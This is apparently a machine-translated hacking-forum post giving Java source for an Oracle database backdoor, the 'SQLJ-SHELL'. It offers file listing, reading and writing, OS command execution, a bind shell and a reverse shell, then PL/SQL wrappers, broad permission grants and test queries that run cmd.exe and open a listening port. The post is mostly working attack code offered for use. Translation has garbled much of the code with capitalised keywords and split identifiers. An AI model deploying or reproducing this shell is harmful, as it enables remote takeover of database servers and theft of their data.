First in the Oracle database to establish a Java object, this version of the SQLJ-SHELL can only support positive connections, reverse connections when there is a bug is not recommended to use, I don't know if ora supports Java or my personal abilities are limited... if there is a better way to facilitate communication QQ: 282720807
Create or replace and compile Java source named isto
Import java. Io .*;
Import java.net .*;
Public class isto {
// Author: kj021320
// Team: I .s. t. o
Public static string listfolder (string path ){
File F = NULL;
String STR = "";
F = new file (PATH );
String [] files = f. List ();
If (files! = NULL)
For (INT I = 0; I <files. length; I ++ ){
STR + = files [I] + "/R/N ";
}
Return STR;
}
Public static string SaveFile (string filepath, string value ){
Fileoutputstream Fos = NULL;
Try {
Fos = new fileoutputstream (filepath );
FOS. Write (value. getbytes ());
Return "OK ";
} Catch (exception e ){
Return e. getmessage ();
} Finally {
If (FOS! = NULL ){
Try {FOS. Close ();} catch (exception e ){}
}
}
}
Public static string readfile (string pathfile, string code ){
Bufferedreader BR = NULL;
String value = "";
Try {
BR = new bufferedreader (New inputstreamreader (New fileinputstream (pathfile), Code ));
String S = NULL;
While (S = Br. Readline ())! = NULL ){
Value + = s;
}
Return value;
} Catch (exception e ){
Return e. getmessage ();
} Finally {
If (BR! = NULL) {try {Br. Close ();} catch (ioexception e ){}}
}
}
Public static string execfile (string filepath, string code ){
Int I = 0;
Runtime RT = runtime. getruntime ();
String output = "";
Inputstreamreader ISR = NULL;
Char [] bufferc = new char [1024];
Try {
Process ps=rt.exe C (filepath );
ISR = new inputstreamreader (PS. getinputstream (), Code );
While (I = ISR. Read (bufferc, 0, bufferc. Length ))! =-1 ){
Output + = new string (bufferc, 0, I );
}
Return output;
} Catch (exception e ){
Return e. getmessage ();
} Finally {
If (ISR! = NULL) Try {ISR. Close ();} catch (ioexception e ){}
}
}
Public static string bindshell (INT port ){
Serversocket Ss = NULL;
Socket S = NULL;
Try {
Ss = new serversocket (port );
S = ss. Accept ();
New optshell (SS, S). Start ();
Return "OK ";
} Catch (exception e ){
Return e. getmessage ();
}
}
Public static string reverseshell (string host, int port ){
Socket S = NULL;
Try {
S = new socket (host, Port );
New optshell (null, S). Start ();
Return "OK ";
} Catch (exception e ){
Return e. getmessage ();
}
}
Public static class optshell extends thread {
Outputstream OS = NULL;
Inputstream is = NULL;
Serversocket SS;
Socket S;
Public optshell (serversocket SS, socket s ){
This. Ss = SS;
This. S = s;
Try {
This. Is = S. getinputstream ();
This. OS = S. getoutputstream ();
} Catch (exception e ){
If (OS! = NULL) Try {OS. Close ();} catch (exception ex ){}
If (is! = NULL) Try {is. Close ();} catch (exception ex ){}
If (s! = NULL) Try {S. Close ();} catch (exception ex ){}
If (SS! = NULL) Try {ss. Close ();} catch (exception ex ){}
}
}
Public void run (){
Bufferedreader BR = new bufferedreader (New inputstreamreader (is ));
String line = "";
String cmdhelp = "command:/R/NLIST/R/nsave/R/nread/R/nexec/R/nexit/R/N ";
Try {
// OS. Write (cmdhelp. getbytes ());
Line = Br. Readline ();
While (! "Exit". Equals (line )){
If (line. Length ()> 3 ){
Stringbuffer sb = new stringbuffer (line. Trim ());
String cmd = sb. substring (0, 4 );
If (CMD. Equals ("list ")){
OS. Write ("input you path:/R/N". getbytes ());
Line = Br. Readline ();
OS. Write (listfolder (Line). getbytes ());
} Else if ("save". Equals (CMD )){
OS. Write ("input you filepath:/R/N". getbytes ());
Line = Br. Readline ();
OS. Write ("input you value:/R/N". getbytes ());
OS. Write (SaveFile (line, Br. Readline (). getbytes ());
} Else if ("read". Equals (CMD )){
OS. Write ("input you filepath:/R/N". getbytes ());
Line = Br. Readline ();
OS. Write ("input you code examle: GBK/R/N". getbytes ());
OS. Write (readfile (line, Br. Readline (). getbytes ());
} Else if ("EXEC". Equals (CMD )){
OS. Write ("input you run filepath:/R/N". getbytes ());
Line = Br. Readline ();
OS. Write ("input you code examle: GBK/R/N". getbytes ());
OS. Write (execfile (line, Br. Readline (). getbytes ());
} Else {
OS. Write (cmdhelp. getbytes ());
}
} Else {
OS. Write (cmdhelp. getbytes ());
}
Line = Br. Readline ();
}
} Catch (exception e ){
E. printstacktrace ();
} Finally {
If (OS! = NULL) Try {OS. Close ();} catch (exception e ){}
If (is! = NULL) Try {is. Close ();} catch (exception e ){}
If (s! = NULL) Try {S. Close ();} catch (exception e ){}
If (SS! = NULL) Try {ss. Close ();} catch (exception e ){}
}
}
}
}
After the above establishment, you need to use ORACLE functions to call the Java static method.
-- List Directory Functions
Create or replace function isto_listfolder (STR varchar2) return varchar2
As language Java name 'isto. listfolder (Java. Lang. String) return java. Lang. string ';
-- Save file Function
Create or replace function isto_savefile (P varchar2, V varchar2) return varchar2
As language Java name 'isto. SaveFile (Java. Lang. String, java. Lang. String) return java. Lang. string ';
-- Read File Functions
Create or replace function isto_readfile (P varchar2, C varchar2) return varchar2
As language Java name 'isto. readfile (Java. Lang. String, java. Lang. String) return java. Lang. string ';
-- Run file functions
Create or replace function isto_execfile (FP varchar2, C varchar2) return varchar2
As language Java name 'isto.exe cfile (Java. Lang. String, java. Lang. String) return java. Lang. String ';
-- Port binding you can telnet in
Create or replace function isto_bindshell (Port Number) return varchar2
As language Java name 'isto. bindshell (INT) return java. Lang. string ';
After the above Function Conversion operation, you must grant the Java access permission
Begin
Dbms_java.grant_permission ('username', 'java. Io. filepermission', '<all files>', 'read, write, execute, delete ');
Dbms_java.grant_permission ('username', 'java. Lang. runtimepermission', '*', 'writefiledescriptor ');
Dbms_java.grant_permission ('username', 'java. net. socketpermission', '*: *', 'Accept, connect, listen, resolve ');
End;
Then you can perform file operations and run the program to enable the network!
The following is the test code:
Select isto_listfolder ('/usr') from dual
Select isto_execfile ('C:/Windows/system32/cmd.exe/C dir C:/', 'gbk') from dual;
Select isto_readfile ('/tmp/1.txt', 'gbk') from dual;
Select isto_savefile ('/tmp/1.txt', 'one-sentence shell') from dual;
Select isto_bindshell (20000) from dual
Demo Animation: http://www.isto.cn/vedio/ora-sqljshell.rar